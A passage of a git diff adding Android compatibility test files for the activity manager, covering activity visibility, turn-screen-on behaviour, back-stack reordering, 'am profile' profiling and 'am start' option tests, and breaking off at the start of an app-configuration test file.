+ executeShellCommand(getAmStartCmdOverHome(PIP_ON_PIP_ACTIVITY));
+ mAmWmState.waitForValidState(PIP_ON_PIP_ACTIVITY);
+ // NOTE: moving to pinned stack will trigger the pip-on-pip activity to launch the
+ // translucent activity.
+ final int stackId = mAmWmState.getAmState().getStackIdByActivityName(PIP_ON_PIP_ACTIVITY);
+
+ assertNotEquals(stackId, INVALID_STACK_ID);
+ executeShellCommand(getMoveToPinnedStackCommand(stackId));
+
+ mAmWmState.computeState(new String[] {PIP_ON_PIP_ACTIVITY, TRANSLUCENT_ACTIVITY});
+ mAmWmState.assertFrontStack("Pinned stack must be the front stack.",
+ WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
+ mAmWmState.assertVisibility(PIP_ON_PIP_ACTIVITY, true);
+ mAmWmState.assertVisibility(TRANSLUCENT_ACTIVITY, true);
+ }
+
+ /**
+ * Asserts that the home activity is visible when a translucent activity is launched in the
+ * fullscreen stack over the home activity.
+ */
+ @Test
+ public void testTranslucentActivityOnTopOfHome() throws Exception {
+ if (!hasHomeScreen()) {
+ return;
+ }
+
+ launchHomeActivity();
+ launchActivity(TRANSLUCENT_ACTIVITY);
+
+ mAmWmState.computeState( new String[]{TRANSLUCENT_ACTIVITY});
+ mAmWmState.assertFrontStack("Fullscreen stack must be the front stack.",
+ WINDOWING_MODE_FULLSCREEN, ACTIVITY_TYPE_STANDARD);
+ mAmWmState.assertVisibility(TRANSLUCENT_ACTIVITY, true);
+ mAmWmState.assertHomeActivityVisible(true);
+ }
+
+ /**
+ * Assert that the home activity is visible if a task that was launched from home is pinned
+ * and also assert the next task in the fullscreen stack isn't visible.
+ */
+ @Presubmit
+ @Test
+ public void testHomeVisibleOnActivityTaskPinned() throws Exception {
+ if (!supportsPip()) {
+ return;
+ }
+
+ launchHomeActivity();
+ launchActivity(TEST_ACTIVITY_NAME);
+ launchHomeActivity();
+ launchActivity(TRANSLUCENT_ACTIVITY);
+ final int stackId = mAmWmState.getAmState().getStackIdByActivityName(TRANSLUCENT_ACTIVITY);
+
+ assertNotEquals(stackId, INVALID_STACK_ID);
+ executeShellCommand(getMoveToPinnedStackCommand(stackId));
+
+ mAmWmState.computeState(new String[]{TRANSLUCENT_ACTIVITY});
+
+ mAmWmState.assertVisibility(TRANSLUCENT_ACTIVITY, true);
+ mAmWmState.assertVisibility(TEST_ACTIVITY_NAME, false);
+ mAmWmState.assertHomeActivityVisible(true);
+ }
+
+ @Test
+ public void testTranslucentActivityOverDockedStack() throws Exception {
+ if (!supportsSplitScreenMultiWindow()) {
+ log("Skipping test: no multi-window support");
+ return;
+ }
+
+ launchActivityInDockStack(DOCKED_ACTIVITY_NAME);
+ mAmWmState.computeState(new String[] {DOCKED_ACTIVITY_NAME});
+ launchActivity(TEST_ACTIVITY_NAME, WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
+ mAmWmState.computeState(new String[] {DOCKED_ACTIVITY_NAME, TEST_ACTIVITY_NAME});
+ launchActivity(TRANSLUCENT_ACTIVITY_NAME, WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
+ mAmWmState.computeState(false /* compareTaskAndStackBounds */,
+ new WaitForValidActivityState.Builder(TEST_ACTIVITY_NAME).build(),
+ new WaitForValidActivityState.Builder(DOCKED_ACTIVITY_NAME).build(),
+ new WaitForValidActivityState.Builder(TRANSLUCENT_ACTIVITY_NAME).build());
+ mAmWmState.assertContainsStack("Must contain fullscreen stack.",
+ WINDOWING_MODE_SPLIT_SCREEN_SECONDARY, ACTIVITY_TYPE_STANDARD);
+ mAmWmState.assertContainsStack("Must contain docked stack.",
+ WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
+ mAmWmState.assertVisibility(DOCKED_ACTIVITY_NAME, true);
+ mAmWmState.assertVisibility(TEST_ACTIVITY_NAME, true);
+ mAmWmState.assertVisibility(TRANSLUCENT_ACTIVITY_NAME, true);
+ }
+
+ @Presubmit
+ @Test
+ public void testTurnScreenOnActivity() throws Exception {
+ sleepDevice();
+ launchActivity(TURN_SCREEN_ON_ACTIVITY_NAME);
+ mAmWmState.computeState(new String[] { TURN_SCREEN_ON_ACTIVITY_NAME });
+ mAmWmState.assertVisibility(TURN_SCREEN_ON_ACTIVITY_NAME, true);
+ }
+
+ @Test
+ public void testFinishActivityInNonFocusedStack() throws Exception {
+ if (!supportsSplitScreenMultiWindow()) {
+ log("Skipping test: no multi-window support");
+ return;
+ }
+
+ // Launch two activities in docked stack.
+ launchActivityInDockStack(LAUNCHING_ACTIVITY);
+ getLaunchActivityBuilder().setTargetActivityName(BROADCAST_RECEIVER_ACTIVITY).execute();
+ mAmWmState.computeState(new String[] { BROADCAST_RECEIVER_ACTIVITY });
+ mAmWmState.assertVisibility(BROADCAST_RECEIVER_ACTIVITY, true);
+ // Launch something to fullscreen stack to make it focused.
+ launchActivity(TEST_ACTIVITY_NAME, WINDOWING_MODE_FULLSCREEN_OR_SPLIT_SCREEN_SECONDARY);
+ mAmWmState.computeState(new String[] { TEST_ACTIVITY_NAME });
+ mAmWmState.assertVisibility(TEST_ACTIVITY_NAME, true);
+ // Finish activity in non-focused (docked) stack.
+ executeShellCommand(FINISH_ACTIVITY_BROADCAST);
+ mAmWmState.computeState(new String[] { LAUNCHING_ACTIVITY });
+ mAmWmState.assertVisibility(LAUNCHING_ACTIVITY, true);
+ mAmWmState.assertVisibility(BROADCAST_RECEIVER_ACTIVITY, false);
+ }
+
+ @Test
+ public void testFinishActivityWithMoveTaskToBackAfterPause() throws Exception {
+ performFinishActivityWithMoveTaskToBack("on_pause");
+ }
+
+ @Test
+ public void testFinishActivityWithMoveTaskToBackAfterStop() throws Exception {
+ performFinishActivityWithMoveTaskToBack("on_stop");
+ }
+
+ private void performFinishActivityWithMoveTaskToBack(String finishPoint) throws Exception {
+ // Make sure home activity is visible.
+ launchHomeActivity();
+ if (hasHomeScreen()) {
+ mAmWmState.assertHomeActivityVisible(true /* visible */);
+ }
+
+ // Launch an activity that calls "moveTaskToBack" to finish itself.
+ launchActivity(MOVE_TASK_TO_BACK_ACTIVITY_NAME, "finish_point", finishPoint);
+ mAmWmState.waitForValidState(MOVE_TASK_TO_BACK_ACTIVITY_NAME);
+ mAmWmState.assertVisibility(MOVE_TASK_TO_BACK_ACTIVITY_NAME, true);
+
+ // Launch a different activity on top.
+ launchActivity(BROADCAST_RECEIVER_ACTIVITY);
+ mAmWmState.waitForValidState(BROADCAST_RECEIVER_ACTIVITY);
+ mAmWmState.waitForActivityState(BROADCAST_RECEIVER_ACTIVITY, STATE_RESUMED);
+ mAmWmState.assertVisibility(MOVE_TASK_TO_BACK_ACTIVITY_NAME, false);
+ mAmWmState.assertVisibility(BROADCAST_RECEIVER_ACTIVITY, true);
+
+ // Finish the top-most activity.
+ executeShellCommand(FINISH_ACTIVITY_BROADCAST);
+ //TODO: BUG: MoveTaskToBackActivity returns to the top of the stack when
+ // BroadcastActivity finishes, so homeActivity is not visible afterwards
+
+ // Home must be visible.
+ if (hasHomeScreen()) {
+ mAmWmState.waitForHomeActivityVisible();
+ mAmWmState.assertHomeActivityVisible(true /* visible */);
+ }
+ }
+
+ /**
+ * Asserts that launching between reorder to front activities exhibits the correct backstack
+ * behavior.
+ */
+ @Test
+ public void testReorderToFrontBackstack() throws Exception {
+ // Start with home on top
+ launchHomeActivity();
+ if (hasHomeScreen()) {
+ mAmWmState.assertHomeActivityVisible(true /* visible */);
+ }
+
+ // Launch the launching activity to the foreground
+ launchActivity(LAUNCHING_ACTIVITY);
+
+ // Launch the alternate launching activity from launching activity with reorder to front.
+ getLaunchActivityBuilder().setTargetActivityName(ALT_LAUNCHING_ACTIVITY)
+ .setReorderToFront(true).execute();
+
+ // Launch the launching activity from the alternate launching activity with reorder to
+ // front.
+ getLaunchActivityBuilder().setTargetActivityName(LAUNCHING_ACTIVITY)
+ .setLaunchingActivityName(ALT_LAUNCHING_ACTIVITY).setReorderToFront(true)
+ .execute();
+
+ // Press back
+ pressBackButton();
+
+ mAmWmState.waitForValidState(ALT_LAUNCHING_ACTIVITY);
+
+ // Ensure the alternate launching activity is in focus
+ mAmWmState.assertFocusedActivity("Alt Launching Activity must be focused",
+ ALT_LAUNCHING_ACTIVITY);
+ }
+
+ /**
+ * Asserts that the activity focus and history is preserved moving between the activity and
+ * home stack.
+ */
+ @Test
+ public void testReorderToFrontChangingStack() throws Exception {
+ // Start with home on top
+ launchHomeActivity();
+ if (hasHomeScreen()) {
+ mAmWmState.assertHomeActivityVisible(true /* visible */);
+ }
+
+ // Launch the launching activity to the foreground
+ launchActivity(LAUNCHING_ACTIVITY);
+
+ // Launch the alternate launching activity from launching activity with reorder to front.
+ getLaunchActivityBuilder().setTargetActivityName(ALT_LAUNCHING_ACTIVITY)
+ .setReorderToFront(true).execute();
+
+ // Return home
+ launchHomeActivity();
+ if (hasHomeScreen()) {
+ mAmWmState.assertHomeActivityVisible(true /* visible */);
+ }
+ // Launch the launching activity from the alternate launching activity with reorder to
+ // front.
+
+ // Bring launching activity back to the foreground
+ launchActivity(LAUNCHING_ACTIVITY);
+ mAmWmState.waitForValidState(LAUNCHING_ACTIVITY);
+
+ // Ensure the alternate launching activity is still in focus.
+ mAmWmState.assertFocusedActivity("Alt Launching Activity must be focused",
+ ALT_LAUNCHING_ACTIVITY);
+
+ pressBackButton();
+
+ mAmWmState.waitForValidState(LAUNCHING_ACTIVITY);
+
+ // Ensure launching activity was brought forward.
+ mAmWmState.assertFocusedActivity("Launching Activity must be focused",
+ LAUNCHING_ACTIVITY);
+ }
+
+ /**
+ * Asserts that a nohistory activity is stopped and removed immediately after a resumed activity
+ * above becomes visible and does not idle.
+ */
+ @Test
+ public void testNoHistoryActivityFinishedResumedActivityNotIdle() throws Exception {
+ if (!hasHomeScreen()) {
+ return;
+ }
+
+ // Start with home on top
+ launchHomeActivity();
+
+ // Launch no history activity
+ launchActivity(NOHISTORY_ACTIVITY);
+
+ // Launch an activity with a swipe refresh layout configured to prevent idle.
+ launchActivity(SWIPE_REFRESH_ACTIVITY);
+
+ pressBackButton();
+ mAmWmState.waitForHomeActivityVisible();
+ mAmWmState.assertHomeActivityVisible(true);
+ }
+
+ @Test
+ public void testTurnScreenOnAttrNoLockScreen() throws Exception {
+ wakeUpAndRemoveLock();
+ sleepDevice();
+ final String logSeparator = clearLogcat();
+ launchActivity(TURN_SCREEN_ON_ATTR_ACTIVITY_NAME);
+ mAmWmState.computeState(new String[] { TURN_SCREEN_ON_ATTR_ACTIVITY_NAME });
+ mAmWmState.assertVisibility(TURN_SCREEN_ON_ATTR_ACTIVITY_NAME, true);
+ assertTrue(isDisplayOn());
+ assertSingleLaunch(TURN_SCREEN_ON_ATTR_ACTIVITY_NAME, logSeparator);
+ }
+
+ @Test
+ public void testTurnScreenOnAttrWithLockScreen() throws Exception {
+ if (!isHandheld()) {
+ // This test requires the ability to have a lock screen.
+ return;
+ }
+
+ setLockCredential();
+ sleepDevice();
+ final String logSeparator = clearLogcat();
+ launchActivity(TURN_SCREEN_ON_ATTR_ACTIVITY_NAME);
+ mAmWmState.computeState(new String[] { TURN_SCREEN_ON_ATTR_ACTIVITY_NAME });
+ assertFalse(isDisplayOn());
+ assertSingleLaunchAndStop(TURN_SCREEN_ON_ATTR_ACTIVITY_NAME, logSeparator);
+ }
+
+ @Test
+ public void testTurnScreenOnShowOnLockAttr() throws Exception {
+ sleepDevice();
+ mAmWmState.waitForAllStoppedActivities();
+ final String logSeparator = clearLogcat();
+ launchActivity(TURN_SCREEN_ON_SHOW_ON_LOCK_ACTIVITY_NAME);
+ mAmWmState.computeState(new String[] { TURN_SCREEN_ON_SHOW_ON_LOCK_ACTIVITY_NAME });
+ mAmWmState.assertVisibility(TURN_SCREEN_ON_SHOW_ON_LOCK_ACTIVITY_NAME, true);
+ assertTrue(isDisplayOn());
+ assertSingleLaunch(TURN_SCREEN_ON_SHOW_ON_LOCK_ACTIVITY_NAME, logSeparator);
+ }
+
+ @Test
+ public void testTurnScreenOnAttrRemove() throws Exception {
+ sleepDevice();
+ mAmWmState.waitForAllStoppedActivities();
+ String logSeparator = clearLogcat();
+ launchActivity(TURN_SCREEN_ON_ATTR_REMOVE_ATTR_ACTIVITY_NAME);
+ mAmWmState.computeState(new String[] {
+ TURN_SCREEN_ON_ATTR_REMOVE_ATTR_ACTIVITY_NAME});
+ assertTrue(isDisplayOn());
+ assertSingleLaunch(TURN_SCREEN_ON_ATTR_REMOVE_ATTR_ACTIVITY_NAME, logSeparator);
+
+ sleepDevice();
+ mAmWmState.waitForAllStoppedActivities();
+ logSeparator = clearLogcat();
+ launchActivity(TURN_SCREEN_ON_ATTR_REMOVE_ATTR_ACTIVITY_NAME);
+ assertFalse(isDisplayOn());
+ assertSingleStartAndStop(TURN_SCREEN_ON_ATTR_REMOVE_ATTR_ACTIVITY_NAME, logSeparator);
+ }
+
+ @Test
+ @Presubmit
+ public void testTurnScreenOnSingleTask() throws Exception {
+ sleepDevice();
+ String logSeparator = clearLogcat();
+ launchActivity(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY_NAME);
+ mAmWmState.computeState(new String[] { TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY_NAME });
+ mAmWmState.assertVisibility(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY_NAME, true);
+ assertTrue(isDisplayOn());
+ assertSingleLaunch(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY_NAME, logSeparator);
+
+ sleepDevice();
+ logSeparator = clearLogcat();
+ launchActivity(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY_NAME);
+ mAmWmState.computeState(new String[] { TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY_NAME });
+ mAmWmState.assertVisibility(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY_NAME, true);
+ assertTrue(isDisplayOn());
+ assertSingleStart(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY_NAME, logSeparator);
+ }
+
+ @Test
+ public void testTurnScreenOnActivity_withRelayout() throws Exception {
+ sleepDevice();
+ launchActivity(TURN_SCREEN_ON_WITH_RELAYOUT_ACTIVITY);
+ mAmWmState.computeState(new String[] { TURN_SCREEN_ON_WITH_RELAYOUT_ACTIVITY });
+ mAmWmState.assertVisibility(TURN_SCREEN_ON_WITH_RELAYOUT_ACTIVITY, true);
+
+ String logSeparator = clearLogcat();
+ sleepDevice();
+ mAmWmState.waitFor("Waiting for stopped state", () ->
+ lifecycleStopOccurred(TURN_SCREEN_ON_WITH_RELAYOUT_ACTIVITY, logSeparator));
+
+ // Ensure there was an actual stop if the waitFor timed out.
+ assertTrue(lifecycleStopOccurred(TURN_SCREEN_ON_WITH_RELAYOUT_ACTIVITY, logSeparator));
+ assertFalse(isDisplayOn());
+ }
+
+ private boolean lifecycleStopOccurred(String activityName, String logSeparator) {
+ ActivityLifecycleCounts lifecycleCounts = new ActivityLifecycleCounts(activityName,
+ logSeparator);
+ return lifecycleCounts.mStopCount > 0;
+ }
+}
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAmProfileTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAmProfileTests.java
new file mode 100644
index 0000000..57016f4
--- /dev/null
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAmProfileTests.java
@@ -0,0 +1,181 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.am;
+
+import static org.junit.Assert.assertTrue;
+
+import android.support.test.InstrumentationRegistry;
+
+import org.junit.Before;
+import org.junit.Test;
+
+import java.io.BufferedInputStream;
+import java.io.File;
+import java.io.FileInputStream;
+
+/**
+ * Build: mmma -j32 cts/hostsidetests/services
+ * Run: cts/tests/framework/base/activitymanager/util/run-test CtsActivityManagerDeviceTestCases android.server.am.ActivityManagerAmProfileTests
+ *
+ * Please talk to Android Studio team first if you want to modify or delete these tests.
+ */
+public class ActivityManagerAmProfileTests extends ActivityManagerTestBase {
+
+ private static final String TEST_PACKAGE_NAME = "android.server.am.debuggable";
+ private static final String TEST_ACTIVITY_NAME = "DebuggableAppActivity";
+ private static final String OUTPUT_FILE_PATH = "/data/local/tmp/profile.trace";
+ private static String READABLE_FILE_PATH = null;
+ private static final String FIRST_WORD_NO_STREAMING = "*version\n";
+ private static final String FIRST_WORD_STREAMING = "SLOW"; // Magic word set by runtime.
+
+ @Before
+ @Override
+ public void setUp() throws Exception {
+ super.setUp();
+ setComponentName(TEST_PACKAGE_NAME);
+ READABLE_FILE_PATH = InstrumentationRegistry.getContext().getExternalFilesDir(null).getPath() + "/profile.trace";
+ }
+
+ /**
+ * Test am profile functionality with the following 3 configurable options:
+ * starting the activity before start profiling? yes;
+ * sampling-based profiling? no;
+ * using streaming output mode? no.
+ */
+ @Test
+ public void testAmProfileStartNoSamplingNoStreaming() throws Exception {
+ // am profile start ... , and the same to the following 3 test methods.
+ testProfile(true, false, false);
+ }
+
+ /**
+ * The following tests are similar to testAmProfileStartNoSamplingNoStreaming(),
+ * only different in the three configuration options.
+ */
+ @Test
+ public void testAmProfileStartNoSamplingStreaming() throws Exception {
+ testProfile(true, false, true);
+ }
+ @Test
+ public void testAmProfileStartSamplingNoStreaming() throws Exception {
+ testProfile(true, true, false);
+ }
+ @Test
+ public void testAmProfileStartSamplingStreaming() throws Exception {
+ testProfile(true, true, true);
+ }
+ @Test
+ public void testAmStartStartProfilerNoSamplingNoStreaming() throws Exception {
+ // am start --start-profiler ..., and the same to the following 3 test methods.
+ testProfile(false, false, false);
+ }
+ @Test
+ public void testAmStartStartProfilerNoSamplingStreaming() throws Exception {
+ testProfile(false, false, true);
+ }
+ @Test
+ public void testAmStartStartProfilerSamplingNoStreaming() throws Exception {
+ testProfile(false, true, false);
+ }
+ @Test
+ public void testAmStartStartProfilerSamplingStreaming() throws Exception {
+ testProfile(false, true, true);
+ }
+
+ private void testProfile(boolean startActivityFirst,
+ boolean sampling, boolean streaming) throws Exception {
+ if (startActivityFirst) {
+ launchActivity(TEST_ACTIVITY_NAME);
+ }
+
+ String cmd = getStartCmd(TEST_ACTIVITY_NAME, startActivityFirst, sampling, streaming);
+ executeShellCommand(cmd);
+ // Go to home screen and then warm start the activity to generate some interesting trace.
+ pressHomeButton();
+ launchActivity(TEST_ACTIVITY_NAME);
+
+ cmd = "am profile stop " + componentName;
+ executeShellCommand(cmd);
+ // Sleep for 0.1 second (100 milliseconds) so the generation of the profiling
+ // file is complete.
+ try {
+ Thread.sleep(100);
+ } catch (InterruptedException e) {
+ //ignored
+ }
+ verifyOutputFileFormat(streaming);
+ }
+
+ private String getStartCmd(String activityName, boolean activityAlreadyStarted,
+ boolean sampling, boolean streaming) {
+ StringBuilder builder = new StringBuilder("am");
+ if (activityAlreadyStarted) {
+ builder.append(" profile start");
+ } else {
+ builder.append(String.format(" start -n %s/.%s -W -S --start-profiler %s",
+ componentName, activityName, OUTPUT_FILE_PATH));
+ }
+ if (sampling) {
+ builder.append(" --sampling 1000");
+ }
+ if (streaming) {
+ builder.append(" --streaming");
+ }
+ if (activityAlreadyStarted) {
+ builder.append(String.format(" %s %s", componentName, OUTPUT_FILE_PATH));
+ } else {
+
+ }
+ return builder.toString();
+ }
+
+ private void verifyOutputFileFormat(boolean streaming) throws Exception {
+
+ // This is a hack. The am service has to write to /data/local/tmp because it doesn't have
+ // access to the sdcard but the test app can't read there
+ executeShellCommand("mv " + OUTPUT_FILE_PATH + " " + READABLE_FILE_PATH);
+
+ String expectedFirstWord = streaming ? FIRST_WORD_STREAMING : FIRST_WORD_NO_STREAMING;
+ byte[] data = readFileOnClient(READABLE_FILE_PATH);
+ assertTrue("data size=" + data.length, data.length >= expectedFirstWord.length());
+ String actualFirstWord = new String(data, 0, expectedFirstWord.length());
+ assertTrue("Unexpected first word: '" + actualFirstWord + "'",
+ actualFirstWord.equals(expectedFirstWord));
+ // Clean up.
+ executeShellCommand("rm -f " + OUTPUT_FILE_PATH);
+ executeShellCommand("rm -f " + READABLE_FILE_PATH);
+ }
+
+ private byte[] readFileOnClient(String clientPath) throws Exception {
+ File file = new File(clientPath);
+ assertTrue("File not found on client: " + clientPath, file.isFile());
+ int size = (int) file.length();
+ byte[] bytes = new byte[size];
+ BufferedInputStream buf = new BufferedInputStream(new FileInputStream(file));
+ buf.read(bytes, 0, bytes.length);
+ buf.close();
+ return bytes;
+ }
+
+ private String[] executeAdbCommand(String command) {
+ String output = executeShellCommand(command);
+ // "".split() returns { "" }, but we want an empty array
+ String[] lines = output.equals("") ? new String[0] : output.split("\n");
+ return lines;
+ }
+
+}
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAmStartOptionsTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAmStartOptionsTests.java
new file mode 100644
index 0000000..054e948
--- /dev/null
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAmStartOptionsTests.java
@@ -0,0 +1,190 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.am;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import org.junit.Test;
+
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+/**
+ * Build: mmma -j32 cts/hostsidetests/services
+ * Run: cts/tests/framework/base/activitymanager/util/run-test CtsActivityManagerDeviceTestCases android.server.am.ActivityManagerAmStartOptionsTests
+ */
+public class ActivityManagerAmStartOptionsTests extends ActivityManagerTestBase {
+
+ private static final String TEST_ACTIVITY_NAME = "TestActivity";
+ private static final String ENTRYPOINT_ACTIVITY_NAME = "EntryPointAliasActivity";
+ private static final String SINGLE_TASK_ACTIVITY_NAME = "SingleTaskActivity";
+
+ @Test
+ public void testDashD() throws Exception {
+ final String activityComponentName =
+ ActivityManagerTestBase.getActivityComponentName(TEST_ACTIVITY_NAME);
+
+ final String[] waitForActivityRecords = new String[] {activityComponentName};
+
+ // Run at least 2 rounds to verify that -D works with an existing process.
+ // -D could fail in this case if the force stop of process is broken.
+ int prevProcId = -1;
+ for (int i = 0; i < 2; i++) {
+ executeShellCommand("am start -n " + getActivityComponentName(TEST_ACTIVITY_NAME) + " -D");
+
+ mAmWmState.waitForDebuggerWindowVisible(waitForActivityRecords);
+ int procId = mAmWmState.getAmState().getActivityProcId(activityComponentName);
+
+ assertTrue("Invalid ProcId.", procId >= 0);
+ if (i > 0) {
+ assertTrue("Run " + i + " didn't start new proc.", prevProcId != procId);
+ }
+ prevProcId = procId;
+ }
+ }
+
+ @Test
+ public void testDashW_Direct() throws Exception {
+ testDashW(SINGLE_TASK_ACTIVITY_NAME, SINGLE_TASK_ACTIVITY_NAME);
+ }
+
+ @Test
+ public void testDashW_Indirect() throws Exception {
+ testDashW(ENTRYPOINT_ACTIVITY_NAME, SINGLE_TASK_ACTIVITY_NAME);
+ }
+
+ private void testDashW(final String entryActivity, final String actualActivity)
+ throws Exception {
+ // Test cold start
+ startActivityAndVerifyResult(entryActivity, actualActivity, true);
+
+ // Test warm start
+ pressHomeButton();
+ startActivityAndVerifyResult(entryActivity, actualActivity, false);
+
+ // Test "hot" start (app already in front)
+ startActivityAndVerifyResult(entryActivity, actualActivity, false);
+ }
+
+ private void startActivityAndVerifyResult(final String entryActivity,
+ final String actualActivity, boolean shouldStart) throws Exception {
+ // See TODO below
+ // final String logSeparator = clearLogcat();
+
+ // Pass in different data only when cold starting. This is to make the intent
+ // different in subsequent warm/hot launches, so that the entrypoint alias
+ // activity is always started, but the actual activity is not started again
+ // because of the NEW_TASK and singleTask flags.
+ final String result = executeShellCommand("am start -n " + getActivityComponentName(entryActivity) + " -W"
+ + (shouldStart ? " -d about:blank" : ""));
+
+ // Verify shell command return value
+ verifyShellOutput(result, actualActivity, shouldStart);
+
+ // TODO: Disable logcat check for now.
+ // Logcat of WM or AM tag could be lost (eg. chatty if earlier events generated
+ // too many lines), and make the test look flaky. We need to either use event
+ // log or swith to other mechanisms. Only verify shell output for now, it should
+ // still catch most failures.
+
+ // Verify adb logcat log
+ //verifyLogcat(actualActivity, shouldStart, logSeparator);
+ }
+
+ private static final Pattern sNotStartedWarningPattern = Pattern.compile(
+ "Warning: Activity not started(.*)");
+ private static final Pattern sStatusPattern = Pattern.compile(
+ "Status: (.*)");
+ private static final Pattern sActivityPattern = Pattern.compile(
+ "Activity: (.*)");
+ private static final String sStatusOk = "ok";
+
+ private void verifyShellOutput(
+ final String result, final String activity, boolean shouldStart) {
+ boolean warningFound = false;
+ String status = null;
+ String reportedActivity = null;
+ String componentActivityName = getActivityComponentName(activity);
+
+ final String[] lines = result.split("\\n");
+ // Going from the end of logs to beginning in case if some other activity is started first.
+ for (int i = lines.length - 1; i >= 0; i--) {
+ final String line = lines[i].trim();
+ Matcher matcher = sNotStartedWarningPattern.matcher(line);
+ if (matcher.matches()) {
+ warningFound = true;
+ continue;
+ }
+ matcher = sStatusPattern.matcher(line);
+ if (matcher.matches()) {
+ status = matcher.group(1);
+ continue;
+ }
+ matcher = sActivityPattern.matcher(line);
+ if (matcher.matches()) {
+ reportedActivity = matcher.group(1);
+ continue;
+ }
+ }
+
+ assertTrue("Status " + status + " is not ok", sStatusOk.equals(status));
+ assertTrue("Reported activity is " + reportedActivity + " not " + componentActivityName,
+ componentActivityName.equals(reportedActivity));
+
+ if (shouldStart && warningFound) {
+ fail("Should start new activity but brought something to front.");
+ } else if (!shouldStart && !warningFound){
+ fail("Should bring existing activity to front but started new activity.");
+ }
+ }
+
+ private static final Pattern sDisplayTimePattern =
+ Pattern.compile("(.+): Displayed (.*): (\\+{0,1})([0-9]+)ms(.*)");
+
+ void verifyLogcat(String actualActivityName, boolean shouldStart, String logSeparator) {
+ int displayCount = 0;
+ String activityName = null;
+
+ for (String line : getDeviceLogsForComponent("ActivityManager", logSeparator)) {
+ line = line.trim();
+
+ Matcher matcher = sDisplayTimePattern.matcher(line);
+ if (matcher.matches()) {
+ activityName = matcher.group(2);
+ // Ignore activitiy displays from other packages, we don't
+ // want some random activity starts to ruin our test.
+ if (!activityName.startsWith("android.server.am")) {
+ continue;
+ }
+ if (!shouldStart) {
+ fail("Shouldn't display anything but displayed " + activityName);
+ }
+ displayCount++;
+ }
+ }
+ final String expectedActivityName = getActivityComponentName(actualActivityName);
+ if (shouldStart) {
+ if (displayCount != 1) {
+ fail("Should display exactly one activity but displayed " + displayCount);
+ } else if (!expectedActivityName.equals(activityName)) {
+ fail("Should display " + expectedActivityName +
+ " but displayed " + activityName);
+ }
+ }
+ }
+}
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAppConfigurationTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAppConfigurationTests.java
new file mode 100644
index 0000000..e382587
--- /dev/null
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAppConfigurationTests.java
@@ -0,0 +1,638 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy of
+ * the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations under
+ * the License.
+ */
+package android.server.am;
+
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
+import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
+import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
+import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN_OR_SPLIT_SCREEN_SECONDARY;
+import static android.server.am.ActivityAndWindowManagersState.dpToPx;
+import static android.server.am.ActivityManagerState.STATE_RESUMED;
+import static android.server.am.StateLogger.log;
+import static android.server.am.StateLogger.logE;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import android.graphics.Rect;
+import android.platform.test.annotations.Presubmit;
+
+import org.junit.Test;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Build: mmma -j32 cts/tests/framework/base
+ * Run: cts/tests/framework/base/activitymanager/util/run-test CtsActivityManagerDeviceTestCases android.server.am.ActivityManagerAppConfigurationTests
+ */
+public class ActivityManagerAppConfigurationTests extends ActivityManagerTestBase {
+ private static final String RESIZEABLE_ACTIVITY_NAME = "ResizeableActivity";
+ private static final String TEST_ACTIVITY_NAME = "TestActivity";
+ private static final String PORTRAIT_ACTIVITY_NAME = "PortraitOrientationActivity";
+ private static final String LANDSCAPE_ACTIVITY_NAME = "LandscapeOrientationActivity";
